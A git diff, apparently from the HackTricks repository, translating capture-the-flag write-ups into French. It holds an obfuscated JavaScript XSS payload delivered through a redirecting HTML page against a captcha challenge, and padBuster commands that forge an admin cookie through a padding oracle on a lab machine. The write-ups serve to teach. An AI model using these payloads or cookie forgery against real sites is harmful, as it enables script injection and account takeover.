e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][42]+[[][[]]+e][0][2]+[e+e][0][1]+[e+e][0][5]+[[][[]]+e][0][0]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[e+e][0][0]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[[][[]]+e][0][2]+[e+e][0][1]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[[]/e+e][0][1]+[[][[]]+e][0][5]+[[][[]]+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[e+e][0][27]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][43]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[/e/+e][0][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]]}` ``` - -Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_): - +Ensuite, vous devez **générer une page HTML** qui, lorsqu'elle est chargée, va **rediriger** la victime vers la page du **challenge en définissant l'exploit dans le formulaire captcha**. Le code suivant peut être utilisé à cette fin (_notez que l'exploit est encodé en URL_) : ```markup @@ -174,12 +157,11 @@ Then, you need to **generate a HTML page** that, when loaded, it’s going to ** ``` - -Finally, **serve the poc in a HTTP** server and access it from the browser:\\ +Finalement, **servez le poc dans un serveur HTTP** et accédez-y depuis le navigateur :\\ ![](https://i.imgur.com/qack7GO.png) -Just press **submit** on the captcha form and the alert will be executed: +Il suffit de cliquer sur **submit** sur le formulaire captcha et l'alerte sera exécutée : ![](https://i.imgur.com/mCORty3.png) @@ -187,10 +169,10 @@ Just press **submit** on the captcha form and the alert will be executed: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/ctf-write-ups/try-hack-me/README.md b/ctf-write-ups/try-hack-me/README.md index e4ae0b9f2..83cc42698 100644 --- a/ctf-write-ups/try-hack-me/README.md +++ b/ctf-write-ups/try-hack-me/README.md @@ -1,38 +1,15 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md index 3edea36f5..2573f86c7 100644 --- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md +++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md @@ -4,60 +4,52 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. ![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg) -## Enumeration +## Énumération -I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): +J'ai commencé **à énumérer la machine en utilisant mon outil** [**Legion**](https://github.com/carlospolop/legion) : ![](<../../.gitbook/assets/image (244).png>) -There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**) +Il y a 2 ports ouverts : 80 (**HTTP**) et 22 (**SSH**) -In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated: +Sur la page web, vous pouvez **enregistrer de nouveaux utilisateurs**, et j'ai remarqué que **la longueur du cookie dépend de la longueur du nom d'utilisateur** indiqué : ![](<../../.gitbook/assets/image (245).png>) ![](<../../.gitbook/assets/image (246).png>) -And if you change some **byte** of the **cookie** you get this error: +Et si vous changez un **octet** du **cookie**, vous obtenez cette erreur : ![](<../../.gitbook/assets/image (247).png>) -With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it: - +Avec cette information et en [**lisant la vulnérabilité de l'oracle de bourrage**](../../cryptography/padding-oracle-priv.md), j'ai pu l'exploiter : ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" ``` - -![](<../../.gitbook/assets/image (248).png>) - -![](<../../.gitbook/assets/image (249) (1).png>) - -**Set user admin:** - +**Définir l'utilisateur admin :** ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin" ``` - ![](<../../.gitbook/assets/image (250).png>)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index 0afc6393a..2356424a7 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -6,71 +6,71 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or 